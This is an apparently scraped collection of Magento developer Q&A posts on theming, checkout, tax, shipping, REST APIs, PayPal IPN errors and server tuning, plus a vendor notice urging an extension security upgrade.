texts:
Im building a Social module aand one of the features is that the users can add their own Meta Cards like twitter:cards and opengraph data.

At the moment the user inputs their meta data into a simple text box like the cms page content box and the data outputs fine except dynamic values.

My question is how can i echo dynamic data in these meta tags in the head? e.g the current products name and description.

Obviously i don't want to save php in the db and it will just print the php anyway.I have also tried to define a block and template and a cms variable in the cms content but this again just outputs the block/variable declaration in the head instead of the value it should return.

Any ideas would be great.

Thanks

EDIT
Here is what currently outputs in the head:

<meta property="og:site_name" content="<?php echo Mage::app()->getStore()->getName();?>" />
<meta property="og:title" content="<?php echo $this->getTitle(); ?>" />
<meta property="og:description" content="<?php echo $this->getDescription(); ?>" />
<meta property="og:url" content="<?php echo Mage::helper('core/url')->getCurrentUrl(); ?>" />

Where the example PHP is i need to replace with data.

EDIT

This is not a duplicated question. The users define the content in my use case therefore a static template will not work as defined in the links duplicated post.


texts:
I am building a website and my client doesn't want the cart icon to appear on the home page. On every other page it should appear, just not on the home page. How can I tell it to not display on a particular page? I'm guessing I can use CSS 'display: none;' but i'm not sure how to indicate only to do that on the main page?

Just to confirm, the cart is setup in the 'header' of my page.

Not sure that you need it, but here is my code:

HTML:

CSS:

.skip-cart .icon {
    background-position: 0px -95px;
    display: inline-block;
    width: 30px;
    vertical-align: middle;
    height: 30px;
    background-image: url("../images/icon_sprite.png");
    background-repeat: no-repeat;
    text-indent: -9999px;
    float: right;
    margin-top: 0px;
    margin-right: 30px;
}

Thanks in advance!!


texts: Magento2 : Restrict new category creation on import products

texts:
I want to restrict magento2 import from CSV that if product has a category path and category not exist then throw error to admin. Currently magento2 allow import products and it create new categories if not exist for given path.

I don't allow to create new categories on products CSV import.

  Is there any setting for this in admin or How to customize it in
  custom module?


texts: Order total amount does not include tax amount

texts:
Total order amount does not include tax calculation on Shopping Cart

Attaching pic for better understanding.


texts:
From what I've seen on the web Magento 2 should have an option for flat rate shipping in

stores -> config -> sales -> shipping methods

My install doesn't have anything to do with flat rate shipping. There are 2 shipping methods available: Fedex and UPS, which are both enabled in the Component Manager. I'm using Magento 2.0.4

I can't find any component in the Component Manager that looks like it might have anything to do with flat rate shipping.

My client only has one shipping method, a flat rate £15 per order and that's what I want to set up.

Is there something wrong with my setup? Otherwise please can someone tell me how to set up the flat rate?


texts:
I have a simple product which consists a custom option, allowing customer to choose Store Pickup / DHL Delivery.

If customer chooses Store Pickup, I want Checkout's entering shipping address page can be skipped.

How could I achieve this?

Thanks.


texts: Magento calculate price of cross sell product based on cart total

texts:
What's the easiest way to display a custom price for a cross sell product? The price is calculated based on a percent of the users' cart subtotal.
I currently have an observer that tracks when the cart is updated and I do the calculations there but how to get the price in the phtml file?

Please note that the product is NOT in the cart, so I can't use quoteItem to modify the price. This product is displayed in the cross sell area and the price needs to change based on the cart subtotal.

Thanks


texts: Pending Payment Order Lifetime doesn't expire or cancel orders

texts:
Preconditions:

Magento Open Source version 2.2.8
PHP 7.1.29, MySQL 5.6, Apache 2.4.
Clean install. No extensions or themes installed.

Steps to reproduce

1) Go to Stores -> Configuration -> Sales -> Sales -> Orders Cron Settings -> Pending Payment Order Lifetime (minutes)

2) Set "Pending Payment Order Lifetime" to 1 minute.

3) Create a order using a offline payment method such as "Check / Money order"

Expected result

We expect the created order to be cancelled and re-stock items after 1 minute in pending status.

Even though in user guide doesn't explicit say that the order will be cancelled it do imply it: https://docs.magento.com/m2/ce/user_guide/sales/order-pending-payment-lifetime.html

Actual result

Order keeps in "pending" status forever unless it's cancelled by the admin.


texts: Magento 2.1: Do we need to do anything special for the controll action to accept HTTP Post with Json Payload?

texts:
I have a controller action that will be used for webhook handler.

When I did the form post to that URL with header content-type:

  application/x-www-form-urlencoded

My load is:

  MyVariableOne=ValueOne&MyVariableTwo=ValueTwo

On the action's execute function, I had $data as

  $data = $this->getRequest()->getPostValue();

When I do var_dump, I got:

  array(2) {
   ["MyVariableOne"]=>
   string(8) "ValueOne"
   ["MyVariableTwo"]=>
   string(8) "ValueTwo"
  }

But when I change the content-type to application/json and set payload to:

  {"MyVariableOne":"ValueOne","MyVariableOne":"ValueTwo"}

the var_dump now become:

  array(0) {
  }

Am I missing some steps to make my webhook hanlder support

Thank you,


texts: Adding Layered Navigation Module to my theme so I can edit

texts:
I need to override the default vendor/magento/module-layered-navigation/view/frontend/templates/layer/view.phtml.  I am attempting to add the proper file structure to my theme but cannot get it to pick up the files in my theme.
I am using Magento_Layered-Navigation as the directory name and have tried a couple variations of it, but cannot get the correct naming convention.
Caching is off and i have been reloading my browser with empty cache and hard-reload ever time.
Any suggestions on what I am missing?


texts: Knockout js : Read parent of parent's data

texts:
I want to read the parent of parent elements data. But, I can't able to read it properly.

My Array Screenshot :

My Code :

Using $parent.optionParam()[main_id] I can able to access 0 element array. So, in first
 tag I get Size text as attribute.

Now, I want to read there are sub-element available in Size or Color, If true then, First Array.isArray() should be true and I can able to read   sub_color or sub_id field value.

This line always returns an error to me.

How can I read it?

Any help would be appreciated.


texts:
i use this jQuery code to hide all fields below, how I can to to be hidden by default on page load?

var showRadio = jQuery('.product-options .display ul li:nth-child(1)').find('input');
var hideRadio = jQuery('.product-options .display ul li:nth-child(2)').find('input');

hideRadio.click(function() {
  jQuery('.product-options dd, .product-options dt').hide();
  jQuery(this).parents('dd').show();
  jQuery(this).parents('dd').prevAll('dt:first').show();
})
showRadio.click(function() {
  jQuery('.product-options dd, .product-options dt').show();
})

Thank you


texts:
magento-1.9.2.4 I am using nginx server i would like to change  catalog product visibility.  only child products.

FROM "Catalog, Search"  TO "Not Visible Individually" So please how can i do it from database


texts:
I would like to restore my URL rewrites file to an earlier time before I made changes but I don't to do a full database restore if it's not necessary. Is there a certain file I can restore instead?

The problem is a emptied my core_url_rewrites table and lost a lot of my rewrites when I reindexed.


texts: Magento 2 : settings.$elementF.fotorama is not a function

texts:
I installed Magento 2.2.2 and getting issue with image gallery js. Product page images are not loading sometimes with below error

  settings.$elementF.fotorama is not a function


texts: convert objectmanager in to factory method in magento 2

texts:
Here I don't want to use a object manager.
Below code give me result as i aspect.but I don't want to use a object manager.
I don't known how to convert into factory method.can any one me out.
Here is my code.

<?php
 $id= 12; // product id
 $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
 $product = $objectManager->create("Magento\Catalog\Model\Product")->load($id);
 $rating = $objectManager->get("Magento\Review\Model\ResourceModel\Review\CollectionFactory");
 $collection = $rating->create()
    ->addStatusFilter(
        \Magento\Review\Model\Review::STATUS_APPROVED
    )->addEntityFilter(
        'product',
         $id
    )->setDateOrder();
   echo "<pre>";
 print_r($collection->getData());
 ?>


texts:
Webgility provides a module/extension for our Magento customers that enables communication with our core product, Unify. A security vulnerability was discovered in this module on October 16th, 2018 that can be exploited maliciously to access sensitive Magento store data. We urge all Webgility customers who connect to Magento to upgrade their Webgility store extension to version 346.

We released version 345 of the updated module with a security patch for Magento on November 5th, 2018. Another vulnerability was discovered, so we released version 346 on November 22nd.

Multiple emails were sent to all affected customers with details on this upgrade. If you have already upgraded to version 346, no further action is needed.

Webgility has also automatically upgraded the extension for customers where possible; however, several hundred customers need to perform the upgrade themselves.

For detailed instructions on the upgrade process, please refer to this help video.

Our support staff is available if you have any questions or need help with the upgrade: support@webgiity.com, 877.753.5373 ext. 3.

We will keep this thread updated regularly with any other updates related to this patch.

Thank you,

Kinnar Vora (VP Engineering, Webgility)


texts: Magento2.3 - What is the benefit of Declarative DB Schema over Traditional installation schema for DB management?

texts:
At the Magento Imagine Conference, Magento announced the next noteworthy release on the Magento platform – Magento 2.3. It has enormous features, back-end enhancements, and optimizations.

So I just wonder that What is the actual use of Declarative DB Schema and how it's overcome on Traditional way to install/upgrade table and update its fields in Magento2.3.


texts: Magento 2 - How can I apply free shipping to specific products in the shopping cart?

texts:
In Magento 2.3.2, how can I apply free shipping to only certain products in my cart? I have a Cart Price rule that correctly removes shipping costs for specific SKUs (using a Condition) if those are the only SKUs in the cart. If the cart contains a mix of free-shipping and non-free-shipping SKUs, I need shipping charges to be applied to the non-free-shipping products. That isn't happening - instead free shipping applies to the entire cart.

Thanks in advance!


texts:
I have a Magento EE 1.13.02 website. One of the attributes in my layered navigation is one that filters down on shoe size. Inside of my attribute, I have shoe sizes ranging from size 6  to size 15.

My issue is, when the page loads, my attributes load as follows:

10,11,12,13,14,15,6,7,8,9

instead of

6,7,8,9,10,11,12,13,14,15

I thought I could just set the positioning for each attribute and reindex but it doesn't solve the issue.

Any ideas on causes or possible fixes?


texts: I want to exclude empty category from Mage::getModel in Magento 1.9

texts:
$allCats = Mage::getModel('catalog/category')->getCollection()
->addAttributeToSelect('*')
->addAttributeToFilter('is_active','1')
->addAttributeToFilter('include_in_menu','1')
->addAttributeToFilter('parent_id',array('eq' => $parentId))
->addAttributeToSort('position', 'asc');

Currently, this code showing all category including empty category I want to remove empty category from collection


texts: Populate tracking link with tracking number

texts:
Trying to use this code from details.phtml in popup.html to populate a tracking link for customers.

<?php echo $block->escapeHtml($number); ?>

My code in popup.html is like this

<a href="http://webtrack.dhlglobalmail.com/?trackingnumber=<?php echo $block->escapeHtml($number); ?>" target="_blank"> CLICK HERE

Doesn't load the number for some reason but it does on the original phtml.


texts:
I have a custom theme (duplicate of rwd theme).
When i set merge CSS file to "No" in magento css setting then my css file from my custom theme not working. it is loading default css file. when i set merge css file to "Yes" then all works fine.
Could you please help to fix this issue.
I am unmerging this CSS file for google pagespeed insight.


texts:
I want to import all products from csv to my magento 1.9.x store so can anyone have idea so please share with me.
Thanks in Advance.


texts:
I'm working on Shop Migration from 1.x to 2.x

For Aoe_Scheduler module it seems that there is no M2 version. so what is the best way to get all module's features in my Magento 2 shop:

Migrate the extension
Get other M2 Extension with same feature. Examples ?
No need to have this module in M2, just use crontab

Could anyone answer me


texts:
Encounter this issue (Layout are wrong ).What is the possible issue for this?

Tried dicompile, clear cache and reindex.Still not working

exception.log

  main.CRITICAL: Path "/var/www/html/var/view_preprocessed/pub/static/"
  cannot be used with directory
  "/var/www/html/var/view_preprocessed/pub/static/"
  {"exception":"[object]
  (Magento\Framework\Exception\ValidatorException(code: 0): Path
  \"/var/www/html/var/view_preprocessed/pub/static/\" cannot be used
  with directory \"/var/www/html/var/view_preprocessed/pub/static/\" at
  /var/www/html/vendor/magento/framework/Filesystem/Directory/PathValidator.php:61)"}
  []
   main.CRITICAL: The specified
  "/var/www/html/generated/code/Magento/Framework/App/Http/Interceptor.php.13900"
  file could not be written
  Warning!file_put_contents(/var/www/html/generated/code/Magento/Framework/App/Http/Interceptor.php.13900):
  failed to open stream: Permission denied Class
  Magento\Framework\App\Http\Interceptor generation error: The requested
  class did not generate properly, because the 'generated' directory
  permission is read-only. If --- after running the 'bin/magento
  setup:di:compile' CLI command when the 'generated' directory
  permission is set to write --- the requested class did not generate
  properly, then you must add the generated class object to the
  signature of the related construct method, only.
  {"exception":"[object] (RuntimeException(code: 0): The specified
  \"/var/www/html/generated/code/Magento/Framework/App/Http/Interceptor.php.13900\"
  file could not be written
  Warning!file_put_contents(/var/www/html/generated/code/Magento/Framework/App/Http/Interceptor.php.13900):
  failed to open stream: Permission denied Class
  Magento\Framework\App\Http\Interceptor generation error: The
  requested class did not generate properly, because the 'generated'
  directory permission is read-only. If --- after running the
  'bin/magento setup:di:compile' CLI command when the 'generated'
  directory permission is set to write --- the requested class did not
  generate properly, then you must add the generated class object to the
  signature of the related construct method, only. at
  /var/www/html/vendor/magento/framework/Code/Generator.php:135)"} []


texts: Place CMS static block before breadcrumbs?

texts: How is this possible? I know how to do it with two different blocks but I don't know how to reorder a CMS block with a a module block.


texts:
I am overriding Google analytics block file.
Here is my Vendor/Module/etc/di.xml
<?xml version="1.0"?>
 <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <preference for="Magento\GoogleAnalytics\Block\Ga" type="Vendor\Module\Block\Ga" />
 </config>

Then Vendor\Module\Block\Ga.php
<?php
 namespace Vendor\Module\Block;
 use Magento\Framework\App\ObjectManager;
class Ga extends \Magento\GoogleAnalytics\Block\Ga
{

protected $_googleAnalyticsData = null;
protected $_salesOrderCollection;
private $cookieHelper = null;
protected $moduleHelper;

public function __construct(
    \Magento\Framework\View\Element\Template\Context $context,
    \Magento\Sales\Model\ResourceModel\Order\CollectionFactory $salesOrderCollection,
    \Magento\GoogleAnalytics\Helper\Data $googleAnalyticsData,
    \Magento\Cookie\Helper\Cookie $cookieHelper,
    \Vendor\Module\Helper\Data $moduleHelper,
    array $data = []
) {
    $this->moduleHelper= $moduleHelper;
    parent::__construct($context, $salesOrderCollection, $googleAnalyticsData, $cookieHelper, $data);
}

public function getOrdersTrackingData()
{
    $writer = new \Zend\Log\Writer\Stream(BP . '/var/log/ganatics.log');
    $logger = new \Zend\Log\Logger();
    $logger->addWriter($writer);
    $logger->info('--module ovrride--');
    $result = [];
    $orderIds = $this->getOrderIds();
    if (empty($orderIds) || !is_array($orderIds)) {
        return $result;
    }
   }
 }

upon using above code I am getting the below error during compilation.

Incompatible argument type: Required type: array. Actual type:
\Magento\Cookie\Helper\Cookie; File:

Can anyone help me on this issue please, please explain what is wrong here. Thanks


texts: Auto reindex 'Product Flat Data' and refresh cache 'Blocks HTML output'

texts:
When I edit something on a product, Magento always ask, reindex 'Product Flat Data' and refresh cache 'Blocks HTML output'

I manually process those whenever I edit but it's very annoying when I have to edit my product often. I give up to those two task since I have to do it later again

Is there any way automatically reindex 'Product Flat Data' and refresh cache 'Blocks HTML output' every few hours? like using cronjob (then how to setup?)


texts: Add sub categories option is not working in magento?

texts: when I am going to add new sub categories and clicking on add sub categories only page refresh and new adding option is not showing please help. I am using 1.9.2 magento.


texts:
I just install Magento2 on my local Mac OSX El Capitan. Apache 2.4.16, PHP Version 5.6.14.

The home page comes up but the admin url shows

Not Found
The requested URL /admin_6i2tvi/ was not found on this server.

When I add an index.php in I get the following

Not Found
The requested URL /admin_6i2tvi/admin/index/index/key/75c3473832b3e20ed68f01102834853b849d9f07a338681d59fdae3925ebd473/ was not found on this server.

I can see my .htaccess file and rewrite rules are there.


texts: How to save multiple categories in magento 2

texts:
How to save multiple categories. For a single category using the method save.

Ejm.: Save category1, category2, category3, ... category100. How to save 100 in 100 categories.


texts:
Any one know how to do autocomplete for magento code as like this

$products_collection = Mage::getModel('catalog/product')
                ->getCollection()
                ->addAttributeToSelect('*')
                ->addFieldToFilter('price', '574');

After visited the R.S. suggested link, modified the code but still after second method chain i.e. exactly at addAttributeToSelect autocomplete not working.

    $productModel = Mage::getModel('catalog/product');
    /* @var $productModel Mage_Catalog_Model_Product */
    $products_collection = $productModel->getCollection()
            ->addAttributeToSelect('*')
            ->addFieldToFilter('price', '574');


texts:
Recently I'm getting high cpu usage from mysql - around 60% - which is choking my Server when combined with my other php5-fpm threads using up to 6% each.

I have an Ubuntu: - 1 x vCPU 2.6GHz - 4GB RAM - SSD Storage I have a lot of tables (thats Magento) and mysqltuner.pl is saying that I have a lot of fragmented tables, but I've read somewhere that this is rarely an issue.

This is my.cnf:

skip-external-locking
bind-address            = 127.0.0.1
log_slow_queries = /var/log/mysql/mysql-slow.log
long_query_time = 4
log-queries-not-using-indexes
ft_min_word_len=1
ft_stopword_file =""
innodb_buffer_pool_size=1G
thread_stack= 1024k
max_allowed_packet      = 16M
thread_cache_size       = 8
myisam-recover         = BACKUP
max_connections        = 50
innodb_thread_concurrency = 4
innodb_flush_log_at_trx_commit = 2
thread_cache_size = 32
table_cache = 512
query_cache_limit = 2M
join_buffer_size = 8M
tmp_table_size = 256M
key_buffer = 256M
innodb_autoextend_increment=512
max_allowed_packet = 16M
max_heap_table_size = 256M
read_buffer_size = 2M
read_rnd_buffer_size = 16M
bulk_insert_buffer_size = 64M
myisam_sort_buffer_size = 128M
myisam_repair_threads = 1
# To reduce InnoDB cpu usage when checking query cache
# This was set to 64M and changing it to 0 didn't help
query_cache_size        = 0
log_error = /var/log/mysql/error.log
expire_logs_days        = 10
max_binlog_size         = 100M

What I've tried so far:

Changed the table_cache to show as "OK" in mysql tuner
Changed query_cahce to reduce InnoDB cpu cycle usage when checking it
Check Slow Queries, and i'm not sure if they are "slow", this is a
capture from the slow-queries log (which goes on like this, rarely up
to 0.8):

Query_time: 0.000152
Query_time: 0.000503
Query_time: 0.000395
Query_time: 0.000794
Query_time: 0.000970
Query_time: 0.000837
Query_time: 0.001199
Query_time: 0.001754
Query_time: 0.527001
Query_time: 0.000751
Query_time: 0.000069
Query_time: 0.000197

I'm not sure whats causing it.
PS: I have 3-10 online vistors at the same time.

Edit: after trying a lot, I had to increase the CPU cores to 4. In addition to that, I noticed that googlebot & bingbot were crawling my site like crazy because I have a marketplace with more than 25000 different SKU's. So I reduced the crawl rate a bit for each in order to make resources for actual users to use my store.


texts: Magento 2 reindex, clean cache, chmod folders in 1 php script?

texts: After every change I have to keep reindex, cleaning cache, and chmod 777 on var, app/etc and pub everytime. Is there any php script out there that can do all of this? Or an easier method that running the commands 1 by 1?


texts: Rewrite adminhtml template not working, only if I refresh the page

texts:
I want to modify the backend template design/adminhtml/default/default/template/sales/order/create/totals.phtml

Its gonna be part of a module so I've implement the rewrite in the modules layout update file (app/design/adminhtml/default/default/layout/xentas_sales.xml)

<?xml version="1.0"?>
<layout version="0.1.0">

    <!-- Backend create order -->
    <adminhtml_sales_order_create_index>
        <!-- Overwrite totals template -->
        <reference name="data">
                <block type="adminhtml/sales_order_create_totals" name="totals">
                    <action method="unsetChild"><name>totals</name></action>
                    <action method="setTemplate">
                        <template>xentas_sales/sales/order/create/totals.phtml</template>
                    </action>
                </block>
        </reference>
    </adminhtml_sales_order_create_index>
</layout>

But the new template only shows up if I refresh the "create new order" page in backend. It does not show up when I load the page in the first place.

I experience the same issue if I overwrite app/code/core/Mage/Adminhtml/Block/Sales/Order/Create/Totals.php
and add to its _construct method setTemplate('...');

So it looks like there is some kind of sort order issue? How can I override an adminhtml template without creating my own admin theme and make sure its get overwritten by page load and not only by page refresh?

Thanks!


texts: Magento 2 How to observe cart price in JS Component

texts:
I want to show amount after which free shipping will be available in mini cart like below

For that I override minicart.phtml in view/frontend/layout/defaul.xml like this
<?xml version="1.0"?>
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">

        <referenceBlock name="minicart" template="Vendor_Module::cart/minicart.phtml" />

</page>

And create my own ui component fst.js
define([
    'uiComponent',
    'ko',
    'Magento_Customer/js/customer-data'
], function (uiComponent, ko, customerData) {
    return uiComponent.extend({
        _config: '',
        _element: '',

        initialize: function (config, element) {
            this._super();
            this._config = config;
            this._element = element;
        },
        myConf: function () {
            return this._config;
        },
        getPrice: function () {
            return this._config.min_price;
        },
        isEnable: function () {
            return this._config.is_enable;
        }
    });
});

And a template file fst.html

Please shop  more for free shipping.

I call this component in minicart.phtml
         .
         .
         .

         /* Render My template file */

 ...
         .
         .
         .
         .
         .

With the above code I am getting a static output like above screen shot. But now I want to make this value dynamic whenever cart get refresh. I want to remove cart value from free shipping limit. How can I create an KO observer who always give me cart total and I can update the message.
Thank you.


texts: How to return a JSON object with a custom REST API in Magento 2?

texts:
I'm writing a custom REST API demo; now it can return numbers and strings in my demo, but I want it to return a JSON object like other REST APIs.

In my demo, I call the Magento 2 API (i.e. get customer info: http://localhost/index.php/rest/V1/customers/1) with curl, and it returns a JSON string:

  "{\"id\":1,\"group_id\":1,\"default_billing\":\"1\",\"created_at\":\"2016-12-13
  14:57:30\",\"updated_at\":\"2016-12-13
  15:20:19\",\"created_in\":\"Default Store
  View\",\"email\":\"75358050@qq.com\",\"firstname\":\"azol\",\"lastname\":\"young\",\"store_id\":1,\"website_id\":1,\"addresses\":[{\"id\":1,\"customer_id\":1,\"region\":{\"region_code\":\"AR\",\"region\":\"Arad\",\"region_id\":279},\"region_id\":279,\"country_id\":\"RO\",\"street\":[\"abc\"],\"telephone\":\"111\",\"postcode\":\"1111\",\"city\":\"def\",\"firstname\":\"azol\",\"lastname\":\"young\",\"default_billing\":true}],\"disable_auto_group_change\":0}"

The response is a JSON string, but all the keys have a slash within. I know I can remove the slash with str_replace, but it's a stupid way. Is there any other way to return a JSON object without slashes within keys?

************ UPDATE 2016.12.27 ************

I pasted my test code here:

   $method = 'GET';
    $url = 'http://localhost/index.php/rest/V1/customers/1';

    $data = [
        'oauth_consumer_key' => $this::consumerKey,
        'oauth_nonce' => md5(uniqid(rand(), true)),
        'oauth_signature_method' => 'HMAC-SHA1',
        'oauth_timestamp' => time(),
        'oauth_token' => $this::accessToken,
        'oauth_version' => '1.0',
    ];

    $data['oauth_signature'] = $this->sign($method, $url, $data, $this::consumerSecret, $this::accessTokenSecret);

    $curl = curl_init();

    curl_setopt_array($curl, [
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_URL => $url,
        CURLOPT_HTTPHEADER => [
            'Authorization: OAuth ' . http_build_query($data, '', ','),
            'Content-Type: application/json'
        ],
    ]);

    $result = curl_exec($curl);
    curl_close($curl);

    // this code has slash still
    //return stripslashes("hi i\" azol");

    // has slashes still
    //return stripcslashes("{\"id\":1,\"group_id\":1,\"default_billing\":\"1\",\"created_at\":\"2016-12-13 14:57:30\",\"updated_at\":\"2016-12-13 15:20:19\",\"created_in\":\"Default Store View\",\"email\":\"75358050@qq.com\",\"firstname\":\"azol\",\"lastname\":\"young\",\"store_id\":1,\"website_id\":1,\"addresses\":[{\"id\":1,\"customer_id\":1,\"region\":{\"region_code\":\"AR\",\"region\":\"Arad\",\"region_id\":279},\"region_id\":279,\"country_id\":\"RO\",\"street\":[\"abc\"],\"telephone\":\"111\",\"postcode\":\"1111\",\"city\":\"def\",\"firstname\":\"azol\",\"lastname\":\"young\",\"default_billing\":true}],\"disable_auto_group_change\":0}");

    // has slashes still
    //return json_encode(json_decode($result), JSON_UNESCAPED_SLASHES);

    // this code will throw and expcetion:
    // Undefined property: *****\*****\Model\Mycustom::$_response
    //return  $this->_response->representJson(json_encode($data));

    return $result;


texts:
I am trying to add radio option but showing single radio without any label

$fieldset->addField(
            'test',
            'radio',
            [
                'label' => __('test'),
                'title' => __('test'),
                'name' => 'test',
                'required' => true,
                'values' => array(
                            array('value'=>'1','label'=>'Radio1'),
                            array('value'=>'2','label'=>'Radio2'),
                            array('value'=>'3','label'=>'Radio3'),
                       ),
                'disabled' => $isDisabled
            ]
        );


texts:
Magento 2.3.5 seems to have a bug with the Paypal IPN.

When the customer place an order through checkout, the Credit Card order is processed through paypal.  The order is created successfully as expected in the Magento backend and in paypal. This includes the payment record which captures the funds.
When paypal tries to update the order status on magento, PayPal will hit the IPN url: https://www.example.com/paypal/ipn
When paypal hits the IPN url, Magento is throwing a 500 Error.
On Magento, the file that is being hit by the IPN URL is "vendor/magento/module-paypal/Controller/Ipn/Index.php"
Here is the function in the Magento Ipn/Index.php:
/**

Instantiate IPN model and pass IPN request to it

@return void
*/
public function execute()
{
if (!$this->getRequest()->isPost()) {
return;
}
try {
$data = $this->getRequest()->getPostValue();
$this->_ipnFactory->create(['data' => $data])->processIpnRequest(); // This is where the 500 error is being thrown.
$incrementId = $this->getRequest()->getPostValue()['invoice'];
$this->_eventManager->dispatch(
'paypal_checkout_success',
[
'order' => $this->orderFactory->create()->loadByIncrementId($incrementId)
]
);
} catch (RemoteServiceUnavailableException $e) {
$this->_logger->critical($e);
$this->getResponse()->setStatusHeader(503, '1.1', 'Service Unavailable')->sendResponse();
/** @todo eliminate usage of exit statement */
// phpcs:ignore Magento2.Security.LanguageConstruct.ExitUsage
exit;
} catch (\Exception $e) {
$this->_logger->critical($e);
$this->getResponse()->setHttpResponseCode(500);
}
}

As you can see, the line: "$this->_ipnFactory->create(['data' => $data])->processIpnRequest();" - This is where the 500 error is being thrown.

When I comment out this line that is throwing the 500 Error, the function no longer throws the 500 error.

I have checked the IPN "processIpnRequest" function and everything looks fine with the code. I am not sure why the "processIpnRequest" function is throwing the 500 error. This is the Magento core code.

When paypal first hits the IPN url, the parameters include a $0 amount and no invoice id. The second time paypal hits the IPN url, the parameters include the $amount of the order and an Invoice ID. In the system.log file, I see an error "The invoice ID is not available". So i added:
$incrementId = $this->getRequest()->getPostValue()['invoice'];
// add a check for the invoice id "order_increment_id" to get rid of "The invoice ID is not available" error in system.log file.
if(empty($incrementId)){
return $this;
}
$this->_eventManager->dispatch(

Now if I try to process the invoice of the order in Magento, I get "Field format error: ORIGID missing". The only way to complete the order is to capture in Paypal and have the IPN feed back to the order in Magento.

Please let me know if you have any insight.


texts: How to add attribute value in tier price?

texts:
I have create configure product and add one virtual product in configurable product.then add tier price in virtual product.

I have create one attribute and this attribute value get front-end product details page .when i select 1 value in drop-down then add 1 value in tier price.

Actual result :-Addition of dropdown value in tier price


texts:
This may be an unusual request, but it is possible to generate the sum of prices in the catalog?

In other words, get the sum dollar amount for a range of products or all products in the catalog?

Thanks in advance for any assistance or insight provided. Trying to help a difficult client!


texts: Special Price - how to display regular price without VAT (tax)?

texts:
I have a few products that I want to offer at a discount.

I want to use the 'special price' function, but when I do, the regular price is displayed including VAT (tax). I display all of my prices ex VAT (tax).

https://i.stack.imgur.com/xmpFi.jpg


texts:
I tried to get data from outside webservice.
I got API url like http://wsq.check.com:50001/Services/appsspg.asmx/GetActionLogand the data for the function is $data = array("parameter1" => "1");. So, how could i get the data from that external webservice?


texts: Cannot create a new account in front end of 1.9.2.3

texts:
I understand there is a standard fix for resolving the inability to create an account in the Magento frontend.  Per this fix:

https://community.magento.com/t5/Version-Upgrades/Upgraded-to1-9-2-2-from-1-9-1-1-and-now-user-registration-not/m-p/20438#U20438

I have applied the fix as recommended to the four appropriate files, cleared cache and sessions, cleared browser cache as well. I am on 1.9.2.3

I still cannot get Magento to create the new customer account.  It just clears the screen back to the create account page.

Any ideas?


texts: Magento2: Get Media URL In Template File (Without direct Calling Object Manager )

texts:
How to Get Media URL in Template file ?
All the solution i found is calling Object Manager directly.
My another concern, Can you ever call object manager directly as best practice ? (because in most of the solution they are using object manager)


texts: Domain rewrite for all the product URL which recently migrated from another platform. The main domain should be same

texts:
Am running a store in Magento2 which I recently migrated from another platform. So all my existing URL of products changed but keeping the main domain as same.

www.domain.com/products/item_name changed to www.domain.com/item_name for all the 550+ products.

It is a tedious task to rewrite URL for all the 550+ products. Is there any workaround to redirect all the product domains at once? Domains redirect should be like www.domain.com/products/item_name to www.domain.com/item_name


texts: How to use custom price attributes in shopping cart price rule, replacing the regular price?

texts:
What I'm trying to set is a promo shopping cart rule that uses custom price attribute.

The rule should go like this:

If ALL  of these conditions are TRUE :

Price in cart  equals or greater than  200.
HERE I NEED TO ACTIVATE CUSTOM PRICE ATTRIBUTE

So what I'm trying is to make sure that when a customer reaches a certain amount in shopping cart sub total, the regular price will be replaced with the custom price attribute.

Is this possible and can you help me solve my issue?


texts:
I need to get the original image for the image type attribute like the default one of thumbnail or small_image on the admin side.  You can't seem to use $_prod->getMediaGalleryImages() because if the image is marks as excluded then it an image will not show up there, which makes sense since it's to excluded it from the gallery.  You can do something like this

<?php
        $_prod = Mage::getModel('catalog/product')->load($product->getId());
        $types=array();
        foreach ($_prod->getMediaAttributes() as $attribute) {
            $types[] = $attribute->getAttributeCode();
        }

        echo "PROD", PHP_EOL;
        echo  "id=>",$product->getId(), PHP_EOL;
        echo  "imageTypes=>",$product->getId(), PHP_EOL;

        //var_dump($imageTypes);
        $attrImgs=array();
        foreach ($types as $type){
            $imgHelper = Mage::helper('catalog/image');
            $filename = "";
            try{
                $filename = Mage::helper('catalog/image')->init($_prod, $type);
            }catch(Exception $e){}
            echo " ==>",$type, PHP_EOL;
            $attrImgs[$type] = $filename."";//force string output
            echo "  ==>",$filename, PHP_EOL;
        }

Which will get you all the assigned images but, they are the cached url paths.  Not what I want.  I know the image name is in the url as /n/a/name-of-original-file/cached.jpg where name-of-original-file is the original name with out the but processing the string to get that is well not what I want to do.  looking at Mage::helper('catalog/image')->init($_prod, $type);  shows there is a protect var of _imageFile which is what I seem to need.

I can't seem to find out where I can grab file path or name with out having to pull it through Mage_Catalog_Helper_Image.  What I want to end up with is a list of images and the type it belongs to.  I have the types done, but I can only get the cached url for the image.  Any ideas?


texts:
Magento: using duplicate product button, but emptying Url Key

We are using the duplicate product button. SKU is cleared, but the Url Key is still there. Sometimes we save the product ... and oops! a rewrite is created.

How can we also clear the Url Key (when we duplicate)

This is the action resulting from the button click 'catalog_product/duplicate/id'

Help appreciated

[update] Let's change our strategy and copy what already exists. We see that SKU is emptied on every duplicate action. Where and how?

duplicateAction is called
that calls Mage_Catalog_Model_Resource_Product_duplicate
but I don't see where the SKU is emptied
so I can copy the step for emptying the url_ley


texts: Uppgrading from Classic GA to Global site tag via GTM in Magento 1.8

texts:
we are currently using Magento v1.8 and using the classic GA tracking. We have implement Google Tag manager and also upgraded to the new analytics using Global Site tag. However, the statistic that we see seems to be inaccurate. Could it be that this old Magento version does not support the new Global site tag?

Thanks for helping.

/confused


texts: Magento Showing error in connecting with market-place.

texts:
I am using Magento 2.0.15 while connecting with the Magento-Marketplace with the private & Public key for installing the extension in to my Magento It is showing below error

  Failed to connect to repo.magento.com port 443: Connection timed out

Any help?


texts: Magento 2 split order total not calculate properly

texts:
I am working on Magento Ver. 2.2 I have split order using following code. It split the order but order total is not calculate properly for each order. In short each order display complete/original order total.

public function placeOrder($cartId, PaymentInterface $paymentMethod = null) {
        $quote  = $this->quoteRepository->getActive($cartId);
        $paymentMethodString = $quote->getPayment()->getMethod();

        $billingAddress  = $quote->getBillingAddress()->getData();
        $shippingAddress = $quote->getShippingAddress()->getData();
        unset($billingAddress['id']);
        unset($billingAddress['quote_id']);
        unset($shippingAddress['id']);
